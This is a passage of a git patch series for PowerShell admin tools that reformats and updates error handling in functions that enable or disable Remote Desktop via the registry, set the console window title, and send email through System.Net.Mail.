-0800 Subject: [PATCH 205/561] Replace tabs --- TOOL-Set-RemoteDesktop/Set-RemoteDesktop.ps1 | 90 ++++++++++---------- 1 file changed, 45 insertions(+), 45 deletions(-) diff --git a/TOOL-Set-RemoteDesktop/Set-RemoteDesktop.ps1 b/TOOL-Set-RemoteDesktop/Set-RemoteDesktop.ps1 index 3ee90304..b1636fc2 100644 --- a/TOOL-Set-RemoteDesktop/Set-RemoteDesktop.ps1 +++ b/TOOL-Set-RemoteDesktop/Set-RemoteDesktop.ps1 @@ -1,57 +1,57 @@ function Set-RemoteDesktop { <# - .SYNOPSIS - The function Set-RemoteDesktop allows you to enable or disable RDP remotely using the registry + .SYNOPSIS + The function Set-RemoteDesktop allows you to enable or disable RDP remotely using the registry - .DESCRIPTION - The function Set-RemoteDesktop allows you to enable or disable RDP remotely using the registry + .DESCRIPTION + The function Set-RemoteDesktop allows you to enable or disable RDP remotely using the registry - .PARAMETER ComputerName - Specifies the ComputerName + .PARAMETER ComputerName + Specifies the ComputerName - .EXAMPLE - PS C:\> Set-RemoteDesktop -enable $true + .EXAMPLE + PS C:\> Set-RemoteDesktop -enable $true - .EXAMPLE - PS C:\> Set-RemoteDesktop -ComputerName "DC01" -enable $false + .EXAMPLE + PS C:\> Set-RemoteDesktop -ComputerName "DC01" -enable $false - .EXAMPLE - PS C:\> Set-RemoteDesktop -ComputerName "DC01","DC02","DC03" -enable $false + .EXAMPLE + PS C:\> Set-RemoteDesktop -ComputerName "DC01","DC02","DC03" -enable $false - .NOTES - Francois-Xavier Cat - lazywinadmin.com - @lazywinadmin + .NOTES + Francois-Xavier Cat + lazywinadmin.com + @lazywinadmin #> - [CmdletBinding()] - PARAM ( - [String[]]$ComputerName = $env:COMPUTERNAME, - [Parameter(Mandatory = $true)] - [Boolean]$Enable - ) - PROCESS - { - FOREACH ($Computer in $ComputerName) - { - TRY - { - IF (Test-Connection -ComputerName $Computer -Count 1 -Quiet) - { - $regKey = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey([Microsoft.Win32.RegistryHive]::LocalMachine, $Computer) - $regKey = $regKey.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server", $True) - - IF ($Enable){$regkey.SetValue("fDenyTSConnections", 0)} - ELSE { $regkey.SetValue("fDenyTSConnections", 1)} - $regKey.flush() - $regKey.Close() - } #IF Test-Connection - } #Try - CATCH - { - $Error[0].Exception.Message - } #Catch - } #FOREACH - } #Process + [CmdletBinding()] + PARAM ( + [String[]]$ComputerName = $env:COMPUTERNAME, + [Parameter(Mandatory = $true)] + [Boolean]$Enable + ) + PROCESS + { + FOREACH ($Computer in $ComputerName) + { + TRY + { + IF (Test-Connection -ComputerName $Computer -Count 1 -Quiet) + { + $regKey = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey([Microsoft.Win32.RegistryHive]::LocalMachine, $Computer) + $regKey = $regKey.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server", $True) + + IF ($Enable){$regkey.SetValue("fDenyTSConnections", 0)} + ELSE { $regkey.SetValue("fDenyTSConnections", 1)} + $regKey.flush() + $regKey.Close() + } #IF Test-Connection + } #Try + CATCH + { + $Error[0].Exception.Message + } #Catch + } #FOREACH + } #Process } \ No newline at end of file From 9ccb6e728c6c4729adb33c17169eb396ce2424dc Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Thu, 28 Nov 2019 16:05:05 -0800 Subject: [PATCH 206/561] Update format, Error handling --- TOOL-Set-RemoteDesktop/Set-RemoteDesktop.ps1 | 26 ++++++++------------ 1 file changed, 10 insertions(+), 16 deletions(-) diff --git a/TOOL-Set-RemoteDesktop/Set-RemoteDesktop.ps1 b/TOOL-Set-RemoteDesktop/Set-RemoteDesktop.ps1 index b1636fc2..23a34d84 100644 --- a/TOOL-Set-RemoteDesktop/Set-RemoteDesktop.ps1 +++ b/TOOL-Set-RemoteDesktop/Set-RemoteDesktop.ps1 @@ -1,6 +1,5 @@ -function Set-RemoteDesktop -{ -<# +function Set-RemoteDesktop { + <# .SYNOPSIS The function Set-RemoteDesktop allows you to enable or disable RDP remotely using the registry @@ -31,26 +30,21 @@ [Parameter(Mandatory = $true)] [Boolean]$Enable ) - PROCESS - { - FOREACH ($Computer in $ComputerName) - { - TRY - { - IF (Test-Connection -ComputerName $Computer -Count 1 -Quiet) - { + PROCESS { + FOREACH ($Computer in $ComputerName) { + TRY { + IF (Test-Connection -ComputerName $Computer -Count 1 -Quiet) { $regKey = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey([Microsoft.Win32.RegistryHive]::LocalMachine, $Computer) $regKey = $regKey.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server", $True) - IF ($Enable){$regkey.SetValue("fDenyTSConnections", 0)} - ELSE { $regkey.SetValue("fDenyTSConnections", 1)} + IF ($Enable) { $regkey.SetValue("fDenyTSConnections", 0) } + ELSE { $regkey.SetValue("fDenyTSConnections", 1) } $regKey.flush() $regKey.Close() } #IF Test-Connection } #Try - CATCH - { - $Error[0].Exception.Message + CATCH { + $PSCmdlet.ThrowTerminatingError($_) } #Catch } #FOREACH } #Process From 3d536f45ef6f62dfb76e92b60278bd4e32f2ab8d Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Thu, 28 Nov 2019 16:05:38 -0800 Subject: [PATCH 207/561] Replace tabs --- TOOL-Set-RDPDisable/Set-RDPDisable.ps1 | 82 +++++++++++++------------- 1 file changed, 41 insertions(+), 41 deletions(-) diff --git a/TOOL-Set-RDPDisable/Set-RDPDisable.ps1 b/TOOL-Set-RDPDisable/Set-RDPDisable.ps1 index 98c4a507..b31bf06f 100644 --- a/TOOL-Set-RDPDisable/Set-RDPDisable.ps1 +++ b/TOOL-Set-RDPDisable/Set-RDPDisable.ps1 @@ -1,52 +1,52 @@ function Set-RDPDisable { <# - .SYNOPSIS - The function Set-RDPDisable disable RDP remotely using the registry + .SYNOPSIS + The function Set-RDPDisable disable RDP remotely using the registry - .DESCRIPTION - The function Set-RDPDisable disable RDP remotely using the registry + .DESCRIPTION + The function Set-RDPDisable disable RDP remotely using the registry - .PARAMETER ComputerName - Specifies the ComputerName + .PARAMETER ComputerName + Specifies the ComputerName - .EXAMPLE - PS C:\> Set-RDPDisable + .EXAMPLE + PS C:\> Set-RDPDisable - .EXAMPLE - PS C:\> Set-RDPDisable -ComputerName "DC01" + .EXAMPLE + PS C:\> Set-RDPDisable -ComputerName "DC01" - .EXAMPLE - PS C:\> Set-RDPDisable -ComputerName "DC01","DC02","DC03" + .EXAMPLE + PS C:\> Set-RDPDisable -ComputerName "DC01","DC02","DC03" - .NOTES - Francois-Xavier Cat - lazywinadmin.com - @lazywinadmin + .NOTES + Francois-Xavier Cat + lazywinadmin.com + @lazywinadmin #> - [CmdletBinding()] - PARAM ( - [String[]]$ComputerName = $env:COMPUTERNAME - ) - PROCESS - { - FOREACH ($Computer in $ComputerName) - { - TRY - { - IF (Test-Connection -ComputerName $Computer -Count 1 -Quiet) - { - $regKey = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey([Microsoft.Win32.RegistryHive]::LocalMachine, $Computer) - $regKey = $regKey.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server", $True) - $regkey.SetValue("fDenyTSConnections", 1) - $regKey.flush() - $regKey.Close() - } #IF Test-Connection - } #Try - CATCH - { - $Error[0].Exception.Message - } #Catch - } #FOREACH - } #Process + [CmdletBinding()] + PARAM ( + [String[]]$ComputerName = $env:COMPUTERNAME + ) + PROCESS + { + FOREACH ($Computer in $ComputerName) + { + TRY + { + IF (Test-Connection -ComputerName $Computer -Count 1 -Quiet) + { + $regKey = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey([Microsoft.Win32.RegistryHive]::LocalMachine, $Computer) + $regKey = $regKey.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server", $True) + $regkey.SetValue("fDenyTSConnections", 1) + $regKey.flush() + $regKey.Close() + } #IF Test-Connection + } #Try + CATCH + { + $Error[0].Exception.Message + } #Catch + } #FOREACH + } #Process } \ No newline at end of file From 0cdc5b0b547f818e75dc5a367e2054e037c0be64 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Thu, 28 Nov 2019 16:05:45 -0800 Subject: [PATCH 208/561] Replace tabs --- TOOL-Set-RDPEnable/Set-RDPEnable.ps1 | 82 ++++++++++++++-------------- 1 file changed, 41 insertions(+), 41 deletions(-) diff --git a/TOOL-Set-RDPEnable/Set-RDPEnable.ps1 b/TOOL-Set-RDPEnable/Set-RDPEnable.ps1 index de8c2552..4f10854b 100644 --- a/TOOL-Set-RDPEnable/Set-RDPEnable.ps1 +++ b/TOOL-Set-RDPEnable/Set-RDPEnable.ps1 @@ -1,53 +1,53 @@ function Set-RDPEnable { <# - .SYNOPSIS - The function Set-RDPEnable enable RDP remotely using the registry + .SYNOPSIS + The function Set-RDPEnable enable RDP remotely using the registry - .DESCRIPTION - The function Set-RDPEnable enable RDP remotely using the registry + .DESCRIPTION + The function Set-RDPEnable enable RDP remotely using the registry - .PARAMETER ComputerName - Specifies the ComputerName + .PARAMETER ComputerName + Specifies the ComputerName - .EXAMPLE - PS C:\> Set-RDPEnable + .EXAMPLE + PS C:\> Set-RDPEnable - .EXAMPLE - PS C:\> Set-RDPEnable -ComputerName "DC01" + .EXAMPLE + PS C:\> Set-RDPEnable -ComputerName "DC01" - .EXAMPLE - PS C:\> Set-RDPEnable -ComputerName "DC01","DC02","DC03" + .EXAMPLE + PS C:\> Set-RDPEnable -ComputerName "DC01","DC02","DC03" - .NOTES - Francois-Xavier Cat - lazywinadmin.com - @lazywinadmin + .NOTES + Francois-Xavier Cat + lazywinadmin.com + @lazywinadmin #> - [CmdletBinding()] - PARAM ( - [String[]]$ComputerName = $env:COMPUTERNAME - ) - PROCESS - { - FOREACH ($Computer in $ComputerName) - { - TRY - { - IF (Test-Connection -ComputerName $Computer -Count 1 -Quiet) - { - $regKey = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey([Microsoft.Win32.RegistryHive]::LocalMachine, $Computer) - $regKey = $regKey.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server", $True) - $regkey.SetValue("fDenyTSConnections", 0) - $regKey.flush() - $regKey.Close() - } #IF Test-Connection - } #Try - CATCH - { - $Error[0].Exception.Message - } #Catch - } #FOREACH - } #Process + [CmdletBinding()] + PARAM ( + [String[]]$ComputerName = $env:COMPUTERNAME + ) + PROCESS + { + FOREACH ($Computer in $ComputerName) + { + TRY + { + IF (Test-Connection -ComputerName $Computer -Count 1 -Quiet) + { + $regKey = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey([Microsoft.Win32.RegistryHive]::LocalMachine, $Computer) + $regKey = $regKey.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server", $True) + $regkey.SetValue("fDenyTSConnections", 0) + $regKey.flush() + $regKey.Close() + } #IF Test-Connection + } #Try + CATCH + { + $Error[0].Exception.Message + } #Catch + } #FOREACH + } #Process } \ No newline at end of file From 18d50502378541bfa1f1bc58bbd6563cc27a10a9 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Thu, 28 Nov 2019 16:06:40 -0800 Subject: [PATCH 209/561] Update format, error handling --- TOOL-Set-RDPDisable/Set-RDPDisable.ps1 | 22 ++++++++-------------- 1 file changed, 8 insertions(+), 14 deletions(-) diff --git a/TOOL-Set-RDPDisable/Set-RDPDisable.ps1 b/TOOL-Set-RDPDisable/Set-RDPDisable.ps1 index b31bf06f..c38a486f 100644 --- a/TOOL-Set-RDPDisable/Set-RDPDisable.ps1 +++ b/TOOL-Set-RDPDisable/Set-RDPDisable.ps1 @@ -1,6 +1,5 @@ -function Set-RDPDisable -{ -<# +function Set-RDPDisable { + <# .SYNOPSIS The function Set-RDPDisable disable RDP remotely using the registry @@ -28,14 +27,10 @@ PARAM ( [String[]]$ComputerName = $env:COMPUTERNAME ) - PROCESS - { - FOREACH ($Computer in $ComputerName) - { - TRY - { - IF (Test-Connection -ComputerName $Computer -Count 1 -Quiet) - { + PROCESS { + FOREACH ($Computer in $ComputerName) { + TRY { + IF (Test-Connection -ComputerName $Computer -Count 1 -Quiet) { $regKey = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey([Microsoft.Win32.RegistryHive]::LocalMachine, $Computer) $regKey = $regKey.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server", $True) $regkey.SetValue("fDenyTSConnections", 1) @@ -43,9 +38,8 @@ $regKey.Close() } #IF Test-Connection } #Try - CATCH - { - $Error[0].Exception.Message + CATCH { + $PSCmdlet.ThrowTerminatingError($_) } #Catch } #FOREACH } #Process From c94eaf1600375213ef49197157ff0c5ae492956a Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Thu, 28 Nov 2019 16:06:53 -0800 Subject: [PATCH 210/561] Update format and error handling --- TOOL-Set-RDPEnable/Set-RDPEnable.ps1 | 22 ++++++++-------------- 1 file changed, 8 insertions(+), 14 deletions(-) diff --git a/TOOL-Set-RDPEnable/Set-RDPEnable.ps1 b/TOOL-Set-RDPEnable/Set-RDPEnable.ps1 index 4f10854b..b7c98b7a 100644 --- a/TOOL-Set-RDPEnable/Set-RDPEnable.ps1 +++ b/TOOL-Set-RDPEnable/Set-RDPEnable.ps1 @@ -1,6 +1,5 @@ -function Set-RDPEnable -{ -<# +function Set-RDPEnable { + <# .SYNOPSIS The function Set-RDPEnable enable RDP remotely using the registry @@ -29,14 +28,10 @@ PARAM ( [String[]]$ComputerName = $env:COMPUTERNAME ) - PROCESS - { - FOREACH ($Computer in $ComputerName) - { - TRY - { - IF (Test-Connection -ComputerName $Computer -Count 1 -Quiet) - { + PROCESS { + FOREACH ($Computer in $ComputerName) { + TRY { + IF (Test-Connection -ComputerName $Computer -Count 1 -Quiet) { $regKey = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey([Microsoft.Win32.RegistryHive]::LocalMachine, $Computer) $regKey = $regKey.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server", $True) $regkey.SetValue("fDenyTSConnections", 0) @@ -44,9 +39,8 @@ $regKey.Close() } #IF Test-Connection } #Try - CATCH - { - $Error[0].Exception.Message + CATCH { + $PSCmdlet.ThrowTerminatingError($_) } #Catch } #FOREACH } #Process From 812cfb60971eabda13e6204fd1bbc4ab6e3ef206 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Thu, 28 Nov 2019 16:07:52 -0800 Subject: [PATCH 211/561] Update format, Add Error handling --- .../Set-PowerShellWindowTitle.ps1 | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) diff --git a/TOOL-Set-PowerShellWindowTitle/Set-PowerShellWindowTitle.ps1 b/TOOL-Set-PowerShellWindowTitle/Set-PowerShellWindowTitle.ps1 index 9eb3a2f4..343eb07a 100644 --- a/TOOL-Set-PowerShellWindowTitle/Set-PowerShellWindowTitle.ps1 +++ b/TOOL-Set-PowerShellWindowTitle/Set-PowerShellWindowTitle.ps1 @@ -1,6 +1,5 @@ -function Set-PowerShellWindowTitle -{ -<# +function Set-PowerShellWindowTitle { + <# .SYNOPSIS Function to set the title of the PowerShell Window @@ -18,7 +17,13 @@ lazywinadmin.com @lazywinadmin #> + [CmdletBinding()] PARAM($Title) - $Host.UI.RawUI.WindowTitle = $Title + try { + $Host.UI.RawUI.WindowTitle = $Title + } + catch { + $PSCmdlet.ThrowTerminatingError($_) + } } From 952dc45270caeb134522cad10c0efa88ce328f03 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Thu, 28 Nov 2019 18:16:40 -0800 Subject: [PATCH 212/561] reformat script --- TOOL-Send-Email/TOOL-Send-Email.ps1 | 568 ++++++++++++++-------------- 1 file changed, 276 insertions(+), 292 deletions(-) diff --git a/TOOL-Send-Email/TOOL-Send-Email.ps1 b/TOOL-Send-Email/TOOL-Send-Email.ps1 index 49d3e810..c9e6638d 100644 --- a/TOOL-Send-Email/TOOL-Send-Email.ps1 +++ b/TOOL-Send-Email/TOOL-Send-Email.ps1 @@ -1,330 +1,314 @@ -function Send-Email -{ -<# - .SYNOPSIS - This function allows you to send email +function Send-Email { + <# + .SYNOPSIS + This function allows you to send email - .DESCRIPTION - This function allows you to send email using the NET Class System.Net.Mail + .DESCRIPTION + This function allows you to send email using the NET Class System.Net.Mail - .PARAMETER To - A description of the To parameter. + .PARAMETER To + A description of the To parameter. - .PARAMETER From - A description of the From parameter. + .PARAMETER From + A description of the From parameter. - .PARAMETER FromDisplayName - Specifies the DisplayName to show for the FROM parameter + .PARAMETER FromDisplayName + Specifies the DisplayName to show for the FROM parameter - .PARAMETER SenderAddress - A description of the SenderAddress parameter. + .PARAMETER SenderAddress + A description of the SenderAddress parameter. - .PARAMETER SenderDisplayName - Specifies the DisplayName of the Sender + .PARAMETER SenderDisplayName + Specifies the DisplayName of the Sender - .PARAMETER CC - A description of the CC parameter. + .PARAMETER CC + A description of the CC parameter. - .PARAMETER BCC - A description of the BCC parameter. + .PARAMETER BCC + A description of the BCC parameter. - .PARAMETER ReplyToList - Specifies the email address(es) that will be use when the recipient(s) reply to the email. + .PARAMETER ReplyToList + Specifies the email address(es) that will be use when the recipient(s) reply to the email. - .PARAMETER Subject - Specifies the subject of the email. + .PARAMETER Subject + Specifies the subject of the email. - .PARAMETER Body - Specifies the body of the email. + .PARAMETER Body + Specifies the body of the email. - .PARAMETER BodyIsHTML - Specifies that the text format of the body is HTML. Default is Plain Text. + .PARAMETER BodyIsHTML + Specifies that the text format of the body is HTML. Default is Plain Text. - .PARAMETER Priority - Specifies the priority of the message. Default is Normal. + .PARAMETER Priority + Specifies the priority of the message. Default is Normal. - .PARAMETER Encoding - Specifies the text encoding of the title and the body. + .PARAMETER Encoding + Specifies the text encoding of the title and the body. - .PARAMETER Attachment - Specifies if an attachement must be added to the function + .PARAMETER Attachment + Specifies if an attachement must be added to the function - .PARAMETER Credential - Specifies the credential to use, default will use the current credential. + .PARAMETER Credential + Specifies the credential to use, default will use the current credential. - .PARAMETER SMTPServer - Specifies if the SMTP Server IP or FQDN to use + .PARAMETER SMTPServer + Specifies if the SMTP Server IP or FQDN to use - .PARAMETER Port - Specifies if the SMTP Server Port to use. Default is 25. + .PARAMETER Port + Specifies if the SMTP Server Port to use. Default is 25. - .PARAMETER EnableSSL - Specifies if the email must be sent using SSL. + .PARAMETER EnableSSL + Specifies if the email must be sent using SSL. - .PARAMETER DeliveryNotificationOptions - Specifies the delivey notification options. - https://msdn.microsoft.com/en-us/library/system.net.mail.deliverynotificationoptions.aspx + .PARAMETER DeliveryNotificationOptions + Specifies the delivey notification options. + https://msdn.microsoft.com/en-us/library/system.net.mail.deliverynotificationoptions.aspx - .PARAMETER EmailCC - Specifies the Carbon Copy recipient + .PARAMETER EmailCC + Specifies the Carbon Copy recipient - .PARAMETER EmailBCC - Specifies the Blind Carbon Copy recipient + .PARAMETER EmailBCC + Specifies the Blind Carbon Copy recipient - .PARAMETER EmailTo - Specifies the recipient of the email + .PARAMETER EmailTo + Specifies the recipient of the email - .PARAMETER EmailFrom - Specifies the sender of the email + .PARAMETER EmailFrom + Specifies the sender of the email - .PARAMETER Sender - Specifies the Sender Email address. Sender is the Address of the actual sender acting on behalf of the author listed in the From parameter. + .PARAMETER Sender + Specifies the Sender Email address. Sender is the Address of the actual sender acting on behalf of the author listed in the From parameter. - .EXAMPLE - Send-email ` - -EmailTo "fxcat@contoso.com" ` - -EmailFrom "powershell@contoso.com" ` - -SMTPServer "smtp.sendgrid.net" ` - -Subject "Test Email" ` - -Body "Test Email" + .EXAMPLE + Send-email ` + -EmailTo "fxcat@contoso.com" ` + -EmailFrom "powershell@contoso.com" ` + -SMTPServer "smtp.sendgrid.net" ` + -Subject "Test Email" ` + -Body "Test Email" - This will send an email using the current credential of the current logged user + This will send an email using the current credential of the current logged user - .EXAMPLE - $Cred = [System.Net.NetworkCredential](Get-Credential -Credential testuser) + .EXAMPLE + $Cred = [System.Net.NetworkCredential](Get-Credential -Credential testuser) - Send-email ` - -EmailTo "fxcat@contoso.com" ` - -EmailFrom "powershell@contoso.com" ` - -Credential $cred - -SMTPServer "smtp.sendgrid.net" ` - -Subject "Test Email" ` - -Body "Test Email" + Send-email ` + -EmailTo "fxcat@contoso.com" ` + -EmailFrom "powershell@contoso.com" ` + -Credential $cred + -SMTPServer "smtp.sendgrid.net" ` + -Subject "Test Email" ` + -Body "Test Email" - This will send an email using the credentials specified in the $Cred variable + This will send an email using the credentials specified in the $Cred variable - .EXAMPLE - Send-email ` - -EmailTo "fxcat@contoso.com","SomeoneElse@contoso.com" ` - -EmailFrom "powershell@contoso.com" ` - -SMTPServer "smtp.sendgrid.net" ` - -Subject "Test Email" ` - -Body "Test Email" + .EXAMPLE + Send-email ` + -EmailTo "fxcat@contoso.com","SomeoneElse@contoso.com" ` + -EmailFrom "powershell@contoso.com" ` + -SMTPServer "smtp.sendgrid.net" ` + -Subject "Test Email" ` + -Body "Test Email" - This will send an email using the current credential of the current logged user to two - fxcat@contoso.com and SomeoneElse@contoso.com + This will send an email using the current credential of the current logged user to two + fxcat@contoso.com and SomeoneElse@contoso.com - .NOTES - Francois-Xavier Cat - fxcat@lazywinadmin.com - lazywinadmin.com - @lazywinadmin + .NOTES + Francois-Xavier Cat + fxcat@lazywinadmin.com + lazywinadmin.com + @lazywinadmin - VERSION HISTORY - 1.0 2014/12/25 Initial Version - 1.1 2015/02/04 Adding some error handling and clean up the code a bit - Add Encoding, CC, BCC, BodyAsHTML - 1.2 2015/04/02 Credential + VERSION HISTORY + 1.0 2014/12/25 Initial Version + 1.1 2015/02/04 Adding some error handling and clean up the code a bit + Add Encoding, CC, BCC, BodyAsHTML + 1.2 2015/04/02 Credential - TODO - -Add more Help/Example - -Add Support for classic Get-Credential + TODO + -Add more Help/Example + -Add Support for classic Get-Credential #> - [CmdletBinding(DefaultParameterSetName = 'Main')] - param - ( - [Parameter(ParameterSetName = 'Main', - Mandatory = $true)] - [Alias('EmailTo')] - [String[]]$To, - - [Parameter(ParameterSetName = 'Main', - Mandatory = $true)] - [Alias('EmailFrom', 'FromAddress')] - [String]$From, - - [Parameter(ParameterSetName = 'Main')] - [ValidateNotNullOrEmpty()] - [string]$FromDisplayName, - - [Parameter(ParameterSetName = 'Main')] - [Alias('EmailCC')] - [String]$CC, - - [Parameter(ParameterSetName = 'Main')] - [Alias('EmailBCC')] - [System.String]$BCC, - - [Parameter(ParameterSetName = 'Main')] - [ValidateNotNullOrEmpty()] - [Alias('ReplyTo')] - [System.string[]]$ReplyToList, - - [Parameter(ParameterSetName = 'Main')] - [System.String]$Subject = "Email from PowerShell", - - [Parameter(ParameterSetName = 'Main')] - [System.String]$Body = "Hello World", - - [Parameter(ParameterSetName = 'Main')] - [Switch]$BodyIsHTML = $false, - - [Parameter(ParameterSetName = 'Main')] - [ValidateNotNullOrEmpty()] - [System.Net.Mail.MailPriority]$Priority = "Normal", - - [Parameter(ParameterSetName = 'Main')] - [ValidateSet("Default", "ASCII", "Unicode", "UTF7", "UTF8", "UTF32")] - [System.String]$Encoding = "Default", - - [Parameter(ParameterSetName = 'Main')] - [System.String]$Attachment, - - [Parameter(ParameterSetName = 'Main')] - [System.Net.NetworkCredential]$Credential, - - [Parameter(ParameterSetName = 'Main', - Mandatory = $true)] - [ValidateScript({ - # Verify the host is reachable - Test-Connection -ComputerName $_ -Count 1 -Quiet - })] - [Alias("Server")] - [string]$SMTPServer, - - [Parameter(ParameterSetName = 'Main')] - [ValidateRange(1, 65535)] - [Alias("SMTPServerPort")] - [int]$Port = 25, - - [Parameter(ParameterSetName = 'Main')] - [Switch]$EnableSSL, - - [Parameter(ParameterSetName = 'Main')] - [ValidateNotNullOrEmpty()] - [Alias('EmailSender', 'Sender')] - [string]$SenderAddress, - - [Parameter(ParameterSetName = 'Main')] - [ValidateNotNullOrEmpty()] - [System.String]$SenderDisplayName, - - [Parameter(ParameterSetName = 'Main')] - [ValidateNotNullOrEmpty()] - [Alias('DeliveryOptions')] - [System.Net.Mail.DeliveryNotificationOptions]$DeliveryNotificationOptions - ) - - #PARAM - - PROCESS - { - TRY - { - # Create Mail Message Object - $SMTPMessage = New-Object -TypeName System.Net.Mail.MailMessage - $SMTPMessage.From = $From - FOREACH ($ToAddress in $To) { $SMTPMessage.To.add($ToAddress) } - $SMTPMessage.Body = $Body - $SMTPMessage.IsBodyHtml = $BodyIsHTML - $SMTPMessage.Subject = $Subject - $SMTPMessage.BodyEncoding = $([System.Text.Encoding]::$Encoding) - $SMTPMessage.SubjectEncoding = $([System.Text.Encoding]::$Encoding) - $SMTPMessage.Priority = $Priority - $SMTPMessage.Sender = $SenderAddress - - # Sender Displayname parameter - IF ($PSBoundParameters['SenderDisplayName']) - { - $SMTPMessage.Sender.DisplayName = $SenderDisplayName - } - - # From Displayname parameter - IF ($PSBoundParameters['FromDisplayName']) - { - $SMTPMessage.From.DisplayName = $FromDisplayName - } - - # CC Parameter - IF ($PSBoundParameters['CC']) - { - $SMTPMessage.CC.Add($CC) - } - - # BCC Parameter - IF ($PSBoundParameters['BCC']) - { - $SMTPMessage.BCC.Add($BCC) - } - - # ReplyToList Parameter - IF ($PSBoundParameters['ReplyToList']) - { - foreach ($ReplyTo in $ReplyToList) - { - $SMTPMessage.ReplyToList.Add($ReplyTo) - } - } - - # Attachement Parameter - IF ($PSBoundParameters['attachment']) - { - $SMTPattachment = New-Object -TypeName System.Net.Mail.Attachment($attachment) - $SMTPMessage.Attachments.Add($STMPattachment) - } - - # Delivery Options - IF ($PSBoundParameters['DeliveryNotificationOptions']) - { - $SMTPMessage.DeliveryNotificationOptions = $DeliveryNotificationOptions - } - - #Create SMTP Client Object - $SMTPClient = New-Object -TypeName Net.Mail.SmtpClient - $SMTPClient.Host = $SmtpServer - $SMTPClient.Port = $Port - - # SSL Parameter - IF ($PSBoundParameters['EnableSSL']) - { - $SMTPClient.EnableSsl = $true - } - - # Credential Paramenter - #IF (($PSBoundParameters['Username']) -and ($PSBoundParameters['Password'])) - IF ($PSBoundParameters['Credential']) - { - <# - # Create Credential Object - $Credentials = New-Object -TypeName System.Net.NetworkCredential - $Credentials.UserName = $username.Split("@")[0] - $Credentials.Password = $Password - #> - - # Add the credentials object to the SMTPClient obj - $SMTPClient.Credentials = $Credential - } - IF (-not $PSBoundParameters['Credential']) - { - # Use the current logged user credential - $SMTPClient.UseDefaultCredentials = $true - } - - # Send the Email - $SMTPClient.Send($SMTPMessage) - - }#TRY - CATCH - { - Write-Warning -message "[PROCESS] Something wrong happened" - Write-Warning -Message $Error[0].Exception.Message - } - }#Process - END - { - # Remove Variables - Remove-Variable -Name SMTPClient -ErrorAction SilentlyContinue - Remove-Variable -Name Password -ErrorAction SilentlyContinue - }#END + [CmdletBinding(DefaultParameterSetName = 'Main')] + param + ( + [Parameter(ParameterSetName = 'Main', + Mandatory = $true)] + [Alias('EmailTo')] + [String[]]$To, + + [Parameter(ParameterSetName = 'Main', + Mandatory = $true)] + [Alias('EmailFrom', 'FromAddress')] + [String]$From, + + [Parameter(ParameterSetName = 'Main')] + [ValidateNotNullOrEmpty()] + [string]$FromDisplayName, + + [Parameter(ParameterSetName = 'Main')] + [Alias('EmailCC')] + [String]$CC, + + [Parameter(ParameterSetName = 'Main')] + [Alias('EmailBCC')] + [System.String]$BCC, + + [Parameter(ParameterSetName = 'Main')] + [ValidateNotNullOrEmpty()] + [Alias('ReplyTo')] + [System.string[]]$ReplyToList, + + [Parameter(ParameterSetName = 'Main')] + [System.String]$Subject = "Email from PowerShell", + + [Parameter(ParameterSetName = 'Main')] + [System.String]$Body = "Hello World", + + [Parameter(ParameterSetName = 'Main')] + [Switch]$BodyIsHTML = $false, + + [Parameter(ParameterSetName = 'Main')] + [ValidateNotNullOrEmpty()] + [System.Net.Mail.MailPriority]$Priority = "Normal", + + [Parameter(ParameterSetName = 'Main')] + [ValidateSet("Default", "ASCII", "Unicode", "UTF7", "UTF8", "UTF32")] + [System.String]$Encoding = "Default", + + [Parameter(ParameterSetName = 'Main')] + [System.String]$Attachment, + + [Parameter(ParameterSetName = 'Main')] + [System.Net.NetworkCredential]$Credential, + + [Parameter(ParameterSetName = 'Main', + Mandatory = $true)] + [ValidateScript( { + # Verify the host is reachable + Test-Connection -ComputerName $_ -Count 1 -Quiet + })] + [Alias("Server")] + [string]$SMTPServer, + + [Parameter(ParameterSetName = 'Main')] + [ValidateRange(1, 65535)] + [Alias("SMTPServerPort")] + [int]$Port = 25, + + [Parameter(ParameterSetName = 'Main')] + [Switch]$EnableSSL, + + [Parameter(ParameterSetName = 'Main')] + [ValidateNotNullOrEmpty()] + [Alias('EmailSender', 'Sender')] + [string]$SenderAddress, + + [Parameter(ParameterSetName = 'Main')] + [ValidateNotNullOrEmpty()] + [System.String]$SenderDisplayName, + + [Parameter(ParameterSetName = 'Main')] + [ValidateNotNullOrEmpty()] + [Alias('DeliveryOptions')] + [System.Net.Mail.DeliveryNotificationOptions]$DeliveryNotificationOptions + ) + + #PARAM + + PROCESS { + TRY { + # Create Mail Message Object + $SMTPMessage = New-Object -TypeName System.Net.Mail.MailMessage + $SMTPMessage.From = $From + FOREACH ($ToAddress in $To) { $SMTPMessage.To.add($ToAddress) } + $SMTPMessage.Body = $Body + $SMTPMessage.IsBodyHtml = $BodyIsHTML + $SMTPMessage.Subject = $Subject + $SMTPMessage.BodyEncoding = $([System.Text.Encoding]::$Encoding) + $SMTPMessage.SubjectEncoding = $([System.Text.Encoding]::$Encoding) + $SMTPMessage.Priority = $Priority + $SMTPMessage.Sender = 